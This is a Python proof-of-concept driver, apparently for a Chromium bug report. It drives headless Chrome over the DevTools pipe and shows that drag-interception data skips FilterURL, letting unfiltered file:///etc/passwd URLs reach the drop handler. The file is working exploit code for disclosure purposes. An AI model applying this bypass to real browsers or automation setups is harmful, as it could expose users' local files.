#!/usr/bin/env python3 """ CDP-pipe driver demonstrating the FilterURL bypass via Input.dragIntercepted. Threat model: a benign automation client follows the documented protocol contract for drag interception (Input.pdl: "Use this data with Input.dispatchDragEvent to restore normal drag and drop behavior"). A compromised — or in this POC, merely cooperative — renderer supplies file:// URLs in the StartDragging IPC. RenderWidgetHostImpl::StartDragging applies FilterURL() to a *copy* (`filtered_data`) but forwards the *raw* mojom struct to InputHandler::StartDragging, which serializes it into Input.dragIntercepted. The client round-trips it via dispatchDragEvent, which reaches DragTargetDrop without re-filtering. This driver: 1. Serves poc.html (in-process HTTP server thread). 2. Launches Chrome --headless --remote-debugging-pipe. 3. Attaches to the page target, enables Input.setInterceptDrags. 4. Synthesizes a mouse drag on the draggable element. 5. Captures Input.dragIntercepted -> proves the unfiltered file:// URLs are emitted (the FilterURL block at rwhi.cc:2923-2938 was bypassed). 6. Replays the intercepted data via Input.dispatchDragEvent (dragEnter, dragOver, drop) -> proves the round-trip path delivers the unfiltered URLs into DragTargetDrop -> renderer drop event. """ import http.server import json import os import select import socketserver import subprocess import sys import threading import time HERE = os.path.dirname(os.path.abspath(__file__)) PORT = int(os.environ.get("POC_PORT", "18371")) URL = f"http://127.0.0.1:{PORT}/poc.html" CHROME = os.environ.get( "CHROME", "/chromium/chromium/src/out/asan/chrome") # --------------------------------------------------------------------------- # Tiny HTTP server for poc.html # --------------------------------------------------------------------------- def start_http(): os.chdir(HERE) class H(http.server.SimpleHTTPRequestHandler): def log_message(self, *a): pass socketserver.TCPServer.allow_reuse_address = True httpd = socketserver.TCPServer(("127.0.0.1", PORT), H) t = threading.Thread(target=httpd.serve_forever, daemon=True) t.start() return httpd # --------------------------------------------------------------------------- # CDP-over-pipe transport (null-terminated JSON on fd 3/4) # --------------------------------------------------------------------------- class Pipe: def __init__(self, wfd, rfd): self.wfd = wfd self.rfd = rfd self.buf = b"" self.next_id = 1 self.pending = {} # id -> result dict self.events = [] # list of (method, params, sessionId) def send(self, method, params=None, session=None, wait=True, timeout=15): mid = self.next_id; self.next_id += 1 msg = {"id": mid, "method": method, "params": params or {}} if session: msg["sessionId"] = session raw = json.dumps(msg).encode() + b"\x00" os.write(self.wfd, raw) if not wait: return mid deadline = time.time() + timeout while mid not in self.pending: if time.time() > deadline: raise TimeoutError(f"timeout waiting for {method}") self._pump(deadline - time.time()) return self.pending.pop(mid) def wait_event(self, method, timeout=15, session=None): deadline = time.time() + timeout while True: for i, (m, p, s) in enumerate(self.events): if m == method and (session is None or s == session): return self.events.pop(i)[1] if time.time() > deadline: raise TimeoutError(f"timeout waiting for event {method}") self._pump(deadline - time.time()) def _pump(self, t): r, _, _ = select.select([self.rfd], [], [], max(0.05, min(t, 1.0))) if not r: return chunk = os.read(self.rfd, 65536) if not chunk: raise EOFError("pipe closed") self.buf += chunk while b"\x00" in self.buf: raw, _, self.buf = self.buf.partition(b"\x00") if not raw: continue try: obj = json.loads(raw) except Exception: continue if "id" in obj: self.pending[obj["id"]] = obj elif "method" in obj: self.events.append( (obj["method"], obj.get("params", {}), obj.get("sessionId"))) # --------------------------------------------------------------------------- def main(): httpd = start_http() print(f"[+] http server on {URL}") # fd3: chrome reads from r3, we write to w3 # fd4: chrome writes to w4, we read from r4 r3, w3 = os.pipe() r4, w4 = os.pipe() cmd = [ CHROME, "--headless=new", "--remote-debugging-pipe", "--no-first-run", "--no-default-browser-check", "--no-sandbox", "--disable-gpu", "--disable-dev-shm-usage", "--user-data-dir=/tmp/chrome-poc-profile", "about:blank", ] print("[+] launching:", " ".join(cmd)) log = open(os.path.join(HERE, "chrome-stderr.log"), "wb") def child_setup(): os.dup2(r3, 3); os.dup2(w4, 4) # Close parent-side ends and the originals so the child only holds 3/4. for fd in (r3, w3, r4, w4): if fd not in (3, 4): try: os.close(fd) except OSError: pass proc = subprocess.Popen( cmd, stdin=subprocess.DEVNULL, stdout=log, stderr=log, close_fds=False, preexec_fn=child_setup) os.close(r3); os.close(w4) cdp = Pipe(w3, r4) try: # ---- attach to the page target ------------------------------------- cdp.send("Target.setDiscoverTargets", {"discover": True}) # find a 'page' target page_id = None deadline = time.time() + 15 while page_id is None and time.time() < deadline: try: ev = cdp.wait_event("Target.targetCreated", timeout=2) ti = ev["targetInfo"] if ti["type"] == "page": page_id = ti["targetId"] except TimeoutError: # fallback: poll r = cdp.send("Target.getTargets") for ti in r.get("result", {}).get("targetInfos", []): if ti["type"] == "page": page_id = ti["targetId"]; break if not page_id: raise RuntimeError("no page target") print(f"[+] page target: {page_id}") att = cdp.send("Target.attachToTarget", {"targetId": page_id, "flatten": True}) sid = att["result"]["sessionId"] print(f"[+] attached, sessionId={sid}") cdp.send("Page.enable", session=sid) cdp.send("Runtime.enable", session=sid) # Enable drag interception BEFORE the drag starts. cdp.send("Input.setInterceptDrags", {"enabled": True}, session=sid) print("[+] Input.setInterceptDrags(true)") cdp.send("Page.navigate", {"url": URL}, session=sid) cdp.wait_event("Page.loadEventFired", session=sid, timeout=20) print(f"[+] navigated to {URL}") time.sleep(0.5) # ---- synthesize a drag on #src ------------------------------------- # #src is at (0..300, 0..200); #dst at (0..300, 300..500) def mouse(t, x, y, **kw): p = {"type": t, "x": x, "y": y, "button": "left", "buttons": 1, "clickCount": 1} p.update(kw) return cdp.send("Input.dispatchMouseEvent", p, session=sid) mouse("mouseMoved", 50, 50, button="none", buttons=0, clickCount=0) mouse("mousePressed", 50, 50) # Move past the drag threshold; multiple moves help the renderer's # drag hysteresis fire. for y in (60, 80, 120, 200, 350): mouse("mouseMoved", 50, y) # ---- capture Input.dragIntercepted --------------------------------- try: di = cdp.wait_event("Input.dragIntercepted", session=sid, timeout=10) except TimeoutError: # Dump page console for debugging. ev = cdp.send("Runtime.evaluate", {"expression": "document.getElementById('log').textContent", "returnByValue": True}, session=sid) print("[!] dragIntercepted not received. page log:\n", ev.get("result", {}).get("result", {}).get("value")) raise print("\n" + "=" * 70) print("[BUG] Input.dragIntercepted payload (raw, pre-FilterURL):") print(json.dumps(di, indent=2)) print("=" * 70) items = di["data"]["items"] uri = next((i for i in items if i["mimeType"] == "text/uri-list"), None) dl = next((i for i in items if i["mimeType"] == "downloadurl"), None) leak_uri = uri and "file:///etc/passwd" in uri.get("data", "") leak_dl = dl and "file:///etc/passwd" in dl.get("data", "") if leak_uri: print("[BUG] text/uri-list emitted UNFILTERED:", uri["data"]) print(" FilterURL at rwhi.cc:2927 would have rewritten this " "to about:blank for an http:// renderer.") if leak_dl: print("[BUG] downloadurl emitted UNFILTERED:", dl["data"]) print(" FilterURL at rwhi.cc:2931-2938 would have reset " "download_metadata for an http:// renderer.") # ---- round-trip: dispatchDragEvent with the intercepted data ------- # This is what the protocol spec tells clients to do (Input.pdl:332). # HasFileRelatedItem only inspects text/uri-list, and only blocks # when allow_file_access_==false. For a pipe client, # MayReadLocalFiles()==true, so the uri-list item passes; the # downloadurl item is never inspected at all. drag_data = di["data"] for t in ("dragEnter", "dragOver", "drop"): r = cdp.send("Input.dispatchDragEvent", {"type": t, "x": 50, "y": 400, "data": drag_data}, session=sid) err = r.get("error") print(f"[+] dispatchDragEvent({t}) ->", "ERROR " + err["message"] if err else "ok") time.sleep(0.5) ev = cdp.send("Runtime.evaluate", {"expression": "JSON.stringify(window.__dropResult)", "returnByValue": True}, session=sid) drop = ev.get("result", {}).get("result", {}).get("value") print("\n[round-trip] drop target received:", drop) try: d = json.loads(drop) if drop else {} except Exception: d = {} rt_uri = "file:///etc/passwd" in (d.get("uri") or "") if rt_uri: print("[BUG] round-trip delivered UNFILTERED file:// to " "DragTargetDrop -> renderer drop handler.") print(" FilterDropData was NOT invoked on the CDP path.") print("\n" + "=" * 70) if leak_uri or leak_dl: print("RESULT: VULNERABILITY CONFIRMED") print(" - dragIntercepted emitted pre-FilterURL renderer payload") if rt_uri: print(" - dispatchDragEvent round-trip reached DragTargetDrop " "with the unfiltered URL") else: print("RESULT: not reproduced (no unfiltered URLs in dragIntercepted)") print("=" * 70) return 0 if (leak_uri or leak_dl) else 1 finally: try: cdp.send("Browser.close", wait=False) except Exception: pass time.sleep(0.5) proc.terminate() try: proc.wait(5) except Exception: proc.kill() httpd.shutdown() if __name__ == "__main__": sys.exit(main())